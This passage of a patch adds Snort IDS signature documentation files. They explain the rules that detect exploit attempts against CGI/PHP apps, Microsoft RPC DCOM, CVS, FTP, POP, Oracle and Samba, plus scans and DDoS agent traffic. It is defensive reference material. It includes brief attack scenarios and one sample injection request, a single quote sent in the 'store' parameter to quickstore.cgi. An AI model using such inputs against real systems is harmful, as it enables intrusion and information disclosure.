+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000362.txt
+++ snort-2.8.5.2/doc/signatures/100000362.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000362
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Fastpublish CMS" application running on a webserver. Access to the file "rechnung.php" using a remote file being passed as the "config[fsBase]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "config[fsBase]" parameter in the "rechnung.php" script used by the "Fastpublish CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Fastpublish CMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000642.txt
+++ snort-2.8.5.2/doc/signatures/100000642.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000642
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "template_modify_file.php" using a remote file being passed 
+as the "admin_template_path" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"template_modify_file.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2323.txt
+++ snort-2.8.5.2/doc/signatures/2323.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2323
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the QuickStore CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to the QuickStore CGI application running on a web server. This
+application does not perform stringent checks when validating the input
+from a user to the script. 
+
+The error document produced by the application may disclose sensitive
+information about the installation of the application.
+
+--
+Affected Systems:
+	QuickStore 2.12 and prior
+
+--
+Attack Scenarios:
+An attacker can supply input to the quickstore.cgi script using a single
+quote character in the "store" parameter. This will cause the script to
+generate an error and disclose the information described above.
+
+For example: http://vulnerable.com/cgi-bin/quickstore.cgi?store='
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/847.txt
+++ snort-2.8.5.2/doc/signatures/847.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+847
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3297.txt
+++ snort-2.8.5.2/doc/signatures/3297.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3297
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000781.txt
+++ snort-2.8.5.2/doc/signatures/100000781.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000781
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Horde" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "untrusted" parameter in the "go.php" script used by the "Horde" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Horde
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Dan Raswami <dan.raswami@sourcefire.com>
+
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/422.txt
+++ snort-2.8.5.2/doc/signatures/422.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+422
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Mobile Registration Reply datagram with an undefined ICMP Code.
+
+--
+
+Impact:
+ICMP Mobile Registration Reply were never implemented and have been replaced by UDP and TCP versions of the message.  ICMP Type 36 datagrams with an ICMP Code other than 0, should never be seen in normal network conditions.
+
+--
+
+Detailed Information:
+ICMP Mobile Registration Reply datagrams were developed before the approval of RFC3344 (IP Mobility Support for IPv4).  Therefore these types of ICMP datagrams should never be seen in normal networking conditions.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 36 datagrams with undefined ICMP Codes are not normal network activity.  Hosts generating these types of datagrams should be investigated for nefarious activity
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3339.txt
+++ snort-2.8.5.2/doc/signatures/3339.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3339
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2011.txt
+++ snort-2.8.5.2/doc/signatures/2011.txt
@@ -0,0 +1,96 @@
+Rule:
+
+--
+Sid:
+2011
+
+--
+Summary:
+CVS is the Concurrent Versions System, commonly used to 
+help manage software development. It is possible for a remote
+attacker to exploit a bug in the cvs daemon that will allow the 
+perpetrator the ability to execute code, issue a denial of service, 
+compromise code being stored in CVS and read sensitive information. 
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources on the machine. Software development could 
+be halted, code could be lost or stolen and code auditing after the fact
+could affect delivery of software.
+
+--
+Detailed Information:
+Specially crafted directory requests can be used to exploit a double 
+free memory reference bug in the CVS software. It is possible to force 
+the CVS daemon to execute an error that returns a pointer to already 
+freed memory. This is a well known bug. This rule indicates a request 
+for a directory using invalid syntax.
+
+Since cvsd may be run as root via inetd, the compromise will present the
+attacker with root privileges on the machine. Any code the attacker is 
+able to execute will have root privileges.
+
+It is also possible for the attacker to bypass all write checks and be 
+able to write to the repository using the "anonymous" or "anoncvs" 
+accounts commonly used for read only access. The source code may then be
+compromised by the attacker who could choose to insert malicious code of
+his own making.
+
+If the CVS password database is writable by the CVS user the result is a
+remote root compromise.
+
+For CVS daemons running under changed root conditions (chroot), the rest
+of the operating system files may be protected but the entire CVS 
+directory structure is vulnerable.
+
+--
+Affected Systems:
+	CVS versions 1.11.4 and earlier
+	
+--
+Attack Scenarios:
+The attacker could pass a specially crafted directory request to trigger
+an error condition. The attacker may then be presented with the 
+opportunity to execute code or issue shell commands on some systems.
+
+--
+Ease of Attack:
+Simple, an exploit is available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+Connections to the server using zlib compression will not generate this
+event.
+
+--
+Corrective Action:
+Disable the CVS daemon in the file /etc/inetd.conf. Run the CVS daemon 
+as a user other than root that does not have a valid login to the 
+machine.
+
+Disable anonymous cvs access to the server.
+
+Update the CVS software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+www.cert.org/advisories/CA-2003-02.html
+www.kb.cert.org/vuls/id/650937
+
+CVE Entry
+CAN-2003-0015
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1974.txt
+++ snort-2.8.5.2/doc/signatures/1974.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+1974
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow vulnerability associated with CesarFTPD FTP server REST command. 
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of arbitrary commands with system privileges.
+
+--
+Detailed Information:
+CesarFTPD offers FTP servers for Windows hosts. A vulnerability exists with the REST command that can cause a buffer overflow and permit the execution of arbitrary commands with system privileges. The buffer overflow can be caused by supplying an overly long argument to the REST command.
+
+--
+Affected Systems:
+Hosts running CesarFTP 0.98b.
+
+--
+Attack Scenarios:
+An attacker can supply an overly long file argument with the REST command, causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0826
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3211.txt
+++ snort-2.8.5.2/doc/signatures/3211.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3211
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000139.txt
+++ snort-2.8.5.2/doc/signatures/100000139.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 
+100000139
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Microsoft Internet Information Server (IIS).
+
+-- 
+Impact: 
+Serious. Information Disclosure, application source code may be disclosed.
+
+--
+Detailed Information:
+A programming error in an error page for Microsoft IIS may result in the 
+discloure of asp code disclosure on an affected system.
+
+By making a request to a server using a modified SERVER_NAME variable, the 
+underlying asp code is displayed in the error page returned to the requestor if 
+the asp page generates an error.
+
+--
+Affected Systems:
+Microsoft IIS 6.0 and prior
+
+--
+Attack Scenarios: 
+An attacker can make a request to the server and modify the SERVER_NAME 
+variable to be either localhost or 127.0.0.1, if the page returns an error the 
+asp code is revealed.
+
+-- 
+Ease of Attack: 
+Simple. Exploit code exists.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Original Rule writer rmkml <rmkml@free.fr>
+Sourcefire Vulnerability Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/467.txt
+++ snort-2.8.5.2/doc/signatures/467.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+467
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a host running Nemesis v1.1 software.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a host running Nemesis v1.1 software contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+http://www.whitehats.com/info/IDS449
+
+--
--- snort-2.8.5.2.orig/doc/signatures/106-4.txt
+++ snort-2.8.5.2/doc/signatures/106-4.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+106-4
+
+--
+Summary:
+This event is generated when the pre-processor spp_rpc_decode detects
+network traffic that may constitute an attack. Specifically an
+incomplete rpc segment was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the spp_rpc_decode pre-processor detects
+network traffic that may consititute an attack.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2111.txt
+++ snort-2.8.5.2/doc/signatures/2111.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+2111
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow condition in the Post Office Protocol (POP) command DELE.
+
+--
+Impact:
+Possible remote execution of arbitrary code leading to a remote root 
+compromise.
+
+--
+Detailed Information:
+A vulnerability exists such that an attacker may overflow a buffer by
+sending a line feed character to a POP server via the DELE command.
+
+--
+Attack Scenarios:
+Simple.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+RFC 1939:
+http://www.faqs.org/rfcs/rfc1939.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/621.txt
+++ snort-2.8.5.2/doc/signatures/621.txt
@@ -0,0 +1,66 @@
+Rule:
+--
+Sid:
+621
+--
+Summary:
+A tcp packet with only it's FIN flag set was detected.
+
+--
+Impact:
+Information regarding firewall rulesets, open/closed ports, ACLs, and
+possibly even OS type may be disclosed.  This technique can also be
+used to bypass certain firewalls or traffic filtering/shaping devices.
+
+--
+Detailed Information:
+A tcp packet with only it's FIN flag set was detected.  Most Windows
+machines will respond with an ACK-RST regardless of whether or not the
+port is open.  Most *nix systems will respond with an ACK-RST if the
+port is closed and will not respond at all if the port is open.
+Actual responses may vary.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+As part of information gathering leading up to another (more directed)
+attack, an attacker may attempt to figure out what ports are
+open/closed on a remote machine.
+
+--
+Ease of Attack:
+Intermediate.  To initiate an attack of this type, an attacker either
+needs a tool that can send packets with only the FIN flag set or
+the ability to craft their own packets.  The former is easy, the later
+requires a more advanced skillset.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Determine if this particular port would have responded as being open
+or closed.  If open, watch for more attacks on this particular service
+or from the remote machine that sent the packet.  If closed, simply
+watch for more traffic from this host.  Consider filtering this type
+of traffic at the ingress points of your network.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Jon Hart <warchild@spoofed.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1855.txt
+++ snort-2.8.5.2/doc/signatures/1855.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+1855
+
+--
+Summary:
+This event is generated when activity indicating the presence of a
+variant of the Stacheldraht DDOS tool is detected.
+
+--
+Impact:
+Distributed Denial of Service (DDoS) is possible.
+
+--
+Detailed Information:
+Stracheldraht is a Distributed denial of service tool normally found on
+Sun Solaris machines. It is made up of a Client, handler and agent. The
+clients connects to the handler. Handlers can connect with up to 1000
+agents. Communication between the client and the handler is conducted
+using tcp and the communication between the handler and the agent can be
+either tcp or icmp_echoreply. This rule detects the a message sent from
+the agent to the handler. This message is used to tell the handler that
+the machine is still alive and able to take requests. The handler will
+then reply with the string "ficken". This traffic differs from the
+traffic described on
+http://staff.washington.edu/dittrich/misc/stacheldraht.analysis because the
+packets have an icmp id of 6666 rather than 666 as noted in the analysis.
+
+--
+Affected Systems:
+	Sun Solaris
+ 
+--
+Attack Scenarios:
+The agent can be used to mount a distributed denial of service attack. It
+also indicates that a machine is compromised.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+The icmp id along with the keywords may be changed in the
+source code which would then evade this rule.
+
+--
+Corrective Action:
+Disconnect power from the machine and perform forensic analysis on the
+hard drives.
+
+--
+Contributors:
+Snort documentation contributed by Ian Macdonald
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2169.txt
+++ snort-2.8.5.2/doc/signatures/2169.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2169
+
+
+--
+Summary:
+This event is generated when a possible outgoing virus is detected. 
+
+--
+Impact:
+Informational event. An virus on an infected host may be attempting to 
+propogate.
+
+--
+Detailed Information:
+This event indicates that an outgoing email message possibly containing 
+a virus has been detected.
+
+This rule generates an event when a filename extension commonly used by 
+viruses is detected.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+This is indicative of a virus infection.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate attachment to an email may generate this event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of virus infection.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2810.txt
+++ snort-2.8.5.2/doc/signatures/2810.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2810
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure unregister_snapshot_repgroup
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1407.txt
+++ snort-2.8.5.2/doc/signatures/1407.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1407
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3037.txt
+++ snort-2.8.5.2/doc/signatures/3037.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3037
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
